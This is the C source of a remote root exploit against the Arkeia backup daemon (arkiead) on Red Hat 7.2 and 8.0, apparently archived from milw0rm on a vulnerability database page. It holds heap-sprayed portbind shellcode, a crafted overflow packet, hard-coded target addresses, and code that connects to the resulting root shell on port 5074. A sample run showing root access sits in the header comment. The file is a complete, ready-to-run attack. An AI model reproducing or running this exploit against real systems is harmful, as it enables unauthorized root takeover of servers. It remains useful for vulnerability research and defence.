/*
* Knox Arkiea arkiead local/remote root exploit.
*
* Portbind 5074 shellcode
*
* Tested on Redhat 8.0, Redhat 7.2, but all versions are presumed vulnerable.
*
* NULLs out least significant byte of EBP to pull EIP out of overflow buffer.
* A previous request forces a large allocation of NOP's + shellcode in heap
* memory. Find additional targets by searching the heap for NOP's after a
* crash. safeaddr must point to any area of memory that is read/writable
* and won't mess with program/shellcode flow.
*
* ./ark_sink host targetnum
* [user@host dir]$ ./ark_sink 192.168.1.2 1
* [*] Connected to 192.168.1.2:617
* [*] Connected to 192.168.1.2:617
* [*] Sending nops+shellcode
* [*] Done, sleeping
* [*] Sending overflow
* [*] Done
* [*] Sleeping and connecting remote shell
* [*] Connected to 192.168.1.2:5074
* [*] Success, enjoy
* id
* uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
*
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/errno.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/nameser.h>
#define BUFLEN 10000 /* for getshell() */
#define LEN 280 /* overflow packet data section */
#define HEAD_LEN 8 /* overflow packet header */
#define NOP_LEN 10000 /* nop+shellcode packet */
#define ARK_PORT 617
#define SHELL_PORT 5074
#define NOP 0x90
#define NUMTARGS 2
struct {
char *os;
unsigned int targret;
unsigned int targsafe;
} targets[] = {
{ "Redhat 8.0", 0x80ecf90, 0x080eb940 },
{ "Redhat 7.2", 0x80eddc0, 0x080eb940 },
NULL
};
/* portbind 5074 */
const char shellcode[] =
"\x89\xc3\xb0\x02\xcd\x80\x38\xc3\x74\x05\x8d\x43\x01\xcd\x80"
"\x31\xc0\x89\x45\x10\x40\x89\xc3\x89\x45\x0c\x40\x89\x45\x08"
"\x8d\x4d\x08\xb0\x66\xcd\x80\x89\x45\x08\x43\x66\x89\x5d\x14"
"\x66\xc7\x45\x16\x13\xd2\x31\xd2\x89\x55\x18\x8d\x55\x14"
"\x89\x55\x0c\xc6\x45\x10\x10\xb0\x66\xcd\x80\x40\x89\x45\x0c"
"\x43\x43\xb0\x66\xcd\x80\x43\x89\x45\x0c\x89\x45\x10\xb0\x66"
"\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41\x80\xf9\x03"
"\x75\xf6\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69"
"\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";
unsigned int resolve(char *hostname)
{
u_long ip = 0;
struct hostent *hoste;
if ((int)(ip = inet_addr(hostname)) == -1)
{
if ((hoste = gethostbyname(hostname)) == NULL)
{
herror("[!] gethostbyname");
exit(-1);
}
memcpy(&ip, hoste->h_addr, hoste->h_length);
}
return(ip);
}
int isock(char *hostname, int portnum)
{
struct sockaddr_in sock_a;
int num, sock;
unsigned int ip;
fd_set input;
sock_a.sin_family = AF_INET;
sock_a.sin_port = htons(portnum);
sock_a.sin_addr.s_addr = resolve(hostname);
if ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
{
herror("[!] accept");
exit(-1);
}
if (connect(sock, (struct sockaddr *)&sock_a, sizeof(sock_a)))
{
herror("[!] connect");
exit(-1);
}
fprintf(stderr, "[*] Connected to %s:%d\n", hostname, portnum);
return(sock);
}
int getshell(int sock)
{
char buf[BUFLEN];
int nread=0;
while(1)
{
fd_set input;
FD_SET(0,&input);
FD_SET(sock,&input);
select(sock+1,&input,NULL,NULL,NULL);
if(FD_ISSET(sock,&input))
{
nread=read(sock,buf,BUFLEN);
write(1,buf,nread);
}
if(FD_ISSET(0,&input))
write(sock,buf,read(0,buf,BUFLEN));
}
}
int usage(char *progname)
{
int i;
fprintf(stderr, "Usage:\n./%s hostname target_num\n");
for (i = 0; targets[i].os; i++)
fprintf(stderr, "Target %d: %s\n", i+1, targets[i].os);
exit(-1);
}
int main( int argc, char **argv)
{
/* first 2 bytes are a type 74 request */
/* last two bytes length */
char head[] = "\x00\x4a\x00\x03\x00\x01\xff\xff";
char data[512];
char sc_req[20000];
char *host;
unsigned int tnum;
unsigned int safeaddr;
unsigned int ret;
int datalen = LEN;
int port = ARK_PORT;
unsigned int addr = 0;
int sock_overflow, sock_nops, sock_shell;
int i;
if (argc == 3)
{
host = argv[1];
tnum = atoi(argv[2]);
if (tnum > NUMTARGS || tnum == 0)
{
fprintf(stderr, "[!] Invalid target\n");
usage(argv[0]);
}
}
else
{
usage(argv[0]);
}
tnum--;
ret = targets[tnum].targret;
safeaddr = targets[tnum].targsafe;
sock_overflow = sock_nops = sock_shell = 0;
sock_nops = isock(host, port);
sock_overflow = isock(host, port);
// build data section of overflow packet
memset(data, 0x90, datalen);
for (i = 0; i < datalen; i += 4)
memcpy(data+i, (char *)&ret, 4);
// we overwrite a pointer that must be a valid address
memcpy(data+datalen-12, (char *)&safeaddr, 4);
// build header of overflow packet
datalen = ntohs(datalen);
memcpy(head+6, (char *)&datalen, 2);
// build invalid packet with nops+shellcode
memset(sc_req, 0x90, NOP_LEN+1);
memcpy(sc_req+NOP_LEN, shellcode, sizeof(shellcode));
// send invalid nop+shellcode packet
fprintf(stderr, "[*] Sending nops+shellcode\n");
write(sock_nops, sc_req, NOP_LEN+sizeof(shellcode));
fprintf(stderr, "[*] Done, sleeping\n");
sleep(1);
close(sock_nops);
// send overflow
fprintf(stderr, "[*] Sending overflow\n");
write(sock_overflow, head, HEAD_LEN);
write(sock_overflow, data, LEN);
fprintf(stderr, "[*] Done\n");
fprintf(stderr, "[*] Sleeping and connecting remote shell\n");
sleep (1);
close(sock_overflow);
// connect to shell
sock_shell = isock(host, SHELL_PORT);
fprintf(stderr, "[*] Success, enjoy\n");
getshell(sock_shell);
}
// milw0rm.com [2003-09-20]Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation